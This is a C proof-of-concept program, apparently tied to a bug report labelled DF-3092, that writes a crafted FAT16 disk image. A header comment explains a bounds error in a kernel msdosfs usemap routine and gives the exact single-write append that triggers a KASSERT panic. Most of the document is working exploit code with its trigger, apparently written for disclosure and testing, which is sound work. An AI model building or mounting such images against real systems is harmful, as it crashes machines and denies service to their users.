/*
 * DF-3092 PoC image crafter: FAT16 volume engineered so that the last
 * free-cluster run of pm_inusemap crosses pm_maxcluster inside the last
 * bitmap word.  fillinusemap()'s tail-marking loop
 *
 *   for (cn = pm_maxcluster + 1;
 *        cn < (pm_maxcluster + N_INUSEBITS) / N_INUSEBITS; cn++)
 *          pm_inusemap[cn / N_INUSEBITS] |= 1U << (cn % N_INUSEBITS);
 *
 * compares a CLUSTER NUMBER against a WORD INDEX bound and therefore never
 * executes (here: cn starts at 4110, bound is (4109+32)/32 = 129).
 * The bits for clusters 4110..4127 of the last word stay CLEAR ("free").
 *
 * chainlength(4104, 7) then takes the word-relative clamp
 * `if (start + len > pm_maxcluster)` (start already reduced mod 32 = 8),
 * which never fires (8+7 < 4109), and returns 7 -- claiming 7 free
 * clusters where only 6 (4104..4109) exist.  chainalloc() runs
 * usemap_alloc(4104..4110) and usemap_alloc(4110) trips
 * KASSERT(cn <= pm_maxcluster) -> panic "cn too large 4110 4109" on
 * INVARIANTS kernels.
 *
 * Layout (all 512-byte sectors, SecPerClust=1, FAT16):
 *   res=1, FATs=1, FATsecs=17 (capacity 4352 clusters), RootDirEnts=16
 *   -> firstcluster = 19; HugeSectors = 4127
 *   -> pm_maxcluster = (4127-19)/1 + 1 = 4109  (> 4084 => FAT16)
 *   word 128 = clusters 4096..4127:
 *     bits 0..7   = clusters 4096..4103 used by BIG.TXT
 *     bits 8..13  = clusters 4104..4109 free (tail of FAT is zero)
 *     bits 14..31 = clusters 4110..4127 DO NOT EXIST but are never
 *                   marked used (the bug)
 *
 * BIG.TXT: start cluster 2, chain 2->3->...->4103, EOF, size 2,100,224.
 * Trigger: append 3584 bytes (7 clusters) in ONE write(2):
 *   extendfile() hint cn = 4103+1 = 4104, count = 7.
 *
 * build: cc -o crafttail crafttail.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define SECSZ 512
#define FATSECS 17
#define FIRSTCLUST_BLK (1 + FATSECS + 1)	/* 19 */
#define HUGE_SECS 4127		/* -> pm_maxcluster = 4109 */
#define LASTCHAIN 4103		/* BIG.TXT last cluster */
#define NSECT 4200		/* device covers the whole volume */

static uint8_t img[NSECT * SECSZ];

static void w16(uint8_t *p, uint16_t v) { p[0]=v&0xff; p[1]=v>>8; }
static void w32(uint8_t *p, uint32_t v) { w16(p, v&0xffff); w16(p+2, v>>16); }

int
main(int argc, char **argv)
{
	FILE *f;
	uint8_t *bs, *fat, *root;
	int i;

	if (argc != 2) { fprintf(stderr, "usage: %s out.img\n", argv[0]); return 1; }

	bs = img;
	bs[0]=0xEB; bs[1]=0x3C; bs[2]=0x90;
	memcpy(bs+3, "MSDOS5.0", 8);
	w16(bs+11, SECSZ);
	bs[13] = 1;			/* SecPerClust */
	w16(bs+14, 1);			/* ResSectors */
	bs[16] = 1;			/* FATs */
	w16(bs+17, 16);			/* RootDirEnts */
	w16(bs+19, 0);			/* Sectors -> use Huge */
	bs[21] = 0xF8;
	w16(bs+22, FATSECS);
	w16(bs+24, 63); w16(bs+26, 255);
	w16(bs+28, 0);
	w32(bs+32, HUGE_SECS);
	bs[510]=0x55; bs[511]=0xAA;

	fat = img + SECSZ;
	w16(fat + 0, 0xFFF8);
	w16(fat + 2, 0xFFFF);
	for (i = 2; i < LASTCHAIN; i++)	/* chain 2 -> 3 -> ... -> 4103 */
		w16(fat + i*2, i + 1);
	w16(fat + LASTCHAIN*2, 0xFFF8);	/* EOF at cluster 4103 */
	/* FAT entries 4104..4351 = 0 (free); only 4104..4109 are real */

	root = img + FIRSTCLUST_BLK*SECSZ - SECSZ;	/* sector 18 */
	memset(root, 0, 32);
	memcpy(root, "BIG     TXT", 11);
	root[11] = 0x20;
	w16(root + 26, 2);
	w32(root + 28, (LASTCHAIN - 1) * SECSZ);	/* 4102 clusters */

	f = fopen(argv[1], "wb");
	if (!f) { perror("fopen"); return 1; }
	if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) { perror("fwrite"); return 1; }
	fclose(f);
	printf("wrote %s: maxcluster=4109 (FAT16), BIG.TXT=4102 clusters (2..%d), "
	    "6 real free (4104..4109), 18 phantom-free (4110..4127)\n",
	    argv[1], LASTCHAIN);
	return 0;
}
